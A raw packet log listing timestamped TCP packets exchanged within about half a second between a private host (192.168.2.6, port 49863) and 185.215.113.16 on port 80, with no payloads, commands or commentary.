Dec 26, 2024 12:52:27.491456032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.491502047 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.491539955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.491585016 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.492163897 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.492214918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.492225885 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.492327929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.492373943 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.492955923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493016958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493029118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493071079 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.493107080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493318081 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.493803978 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493845940 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493858099 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493932009 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.493978024 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.494558096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.494596004 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.494606972 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.494643927 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.494718075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.494993925 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.495486021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.495549917 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.495560884 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.495603085 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.495803118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.495882988 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.496352911 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.496398926 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.496409893 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.496506929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.496546030 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.496556997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.497124910 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497144938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497159958 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497231960 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.497262001 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497354984 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.497848034 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497909069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497920990 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.497951984 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.498006105 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.498050928 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.498661995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.498728037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.498740911 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.498811960 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.498851061 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.498908997 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.499556065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.499567986 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.499578953 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.499618053 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.499649048 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.499869108 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.500209093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.500266075 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.500277996 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.500364065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.500408888 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.500965118 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501004934 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501017094 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501060009 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.501087904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501673937 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.501797915 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501858950 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501872063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501889944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.501919031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.501941919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.502501011 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.502559900 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.502572060 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.502620935 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.502657890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.502701998 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.503303051 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.503357887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.503371000 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.503432989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.503478050 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.504152060 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504225016 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504236937 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504249096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504295111 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.504863024 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504914999 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504925966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.504981995 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.505033970 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.505244017 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.505716085 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.505740881 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.505752087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.505801916 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.505827904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.506063938 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.506455898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.506500006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.506511927 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.506551981 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.506602049 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.506711006 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.507239103 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.507294893 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.507307053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.507373095 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.507391930 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.507586002 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.508085966 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508095980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508106947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508135080 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.508194923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508284092 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.508815050 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508888006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508898973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.508945942 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.508963108 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.509047031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.509622097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.509685040 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.509696960 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.509802103 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.509809971 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.509855986 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.510435104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.510472059 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.510483980 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.510555983 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.510621071 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.511343956 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.511405945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.511416912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.511454105 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.511478901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.511531115 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.512106895 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512183905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512195110 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512295961 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.512316942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512391090 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.512923002 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512934923 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512955904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512968063 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.512979031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.513010025 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.513663054 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.513712883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.513725042 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.513777018 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.513793945 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.514050961 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.514406919 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.514483929 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.514493942 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.514585018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.514636993 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.515173912 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.515228987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.515240908 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.515316963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.515367031 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.515965939 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516060114 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516071081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516104937 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516149044 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.516745090 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516810894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516823053 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516896963 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.516942024 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.517895937 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.517940998 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.517954111 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.518024921 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.518064976 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.518237114 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.518495083 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.518560886 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.518573046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.518608093 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.518650055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.519159079 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.519218922 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.519231081 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.519258022 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.519275904 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.519303083 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.519962072 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520025015 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520036936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520138979 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520183086 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.520822048 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520874977 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520885944 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.520931005 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.521095037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.521311998 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.521634102 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.521699905 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.521712065 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.521747112 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.521747112 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.521800995 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.522298098 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.522325039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.522336006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.522361994 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.522435904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.522537947 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.575599909 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.575700998 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.576698065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.602190018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.602221012 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.603514910 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.798528910 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.799979925 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.918230057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.918320894 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.918385029 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.919497013 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.919583082 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.919974089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.920023918 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.920182943 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.920938015 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.921032906 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.921768904 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.921900034 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.922028065 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.922636032 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.922753096 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.923590899 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.923695087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.924477100 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.924511909 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.924551010 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.924611092 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.925452948 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.925656080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.925719023 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.926359892 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.926428080 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.926632881 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.927231073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.927320957 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.927407980 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.928189039 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.928251982 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.928535938 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.929060936 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.929189920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.929331064 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.929972887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.930077076 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.930214882 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.930891037 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.930988073 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.931128979 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.931838989 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.931951046 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.932111025 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.932719946 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.932872057 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.933018923 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.933626890 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.933685064 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.933929920 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.934581995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.934827089 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.934876919 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.934952021 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.935851097 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.935895920 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.936171055 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.936724901 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.936861038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.937289953 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.937577009 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.937623978 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.937690973 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.938508987 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.938612938 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.938630104 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.939390898 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.939440012 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.939502954 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.940306902 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.940398932 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.940412045 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.941246033 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.941343069 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.942188025 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.942244053 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.942281008 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.943084955 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.943136930 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.943166018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.943989038 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.944197893 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.944288969 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.944892883 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.945000887 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.945832968 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.945900917 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.945940018 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.946741104 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.946793079 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.946825981 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.947643995 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.947695971 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.947757006 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.948553085 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.948601961 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.948625088 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.949462891 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.949588060 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.950380087 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.950434923 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.950557947 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.951324940 CET	80	49863	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:27.951375961 CET	49863	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:27.951405048 CET	80	49863	185.215.113.16	192.168.2.6
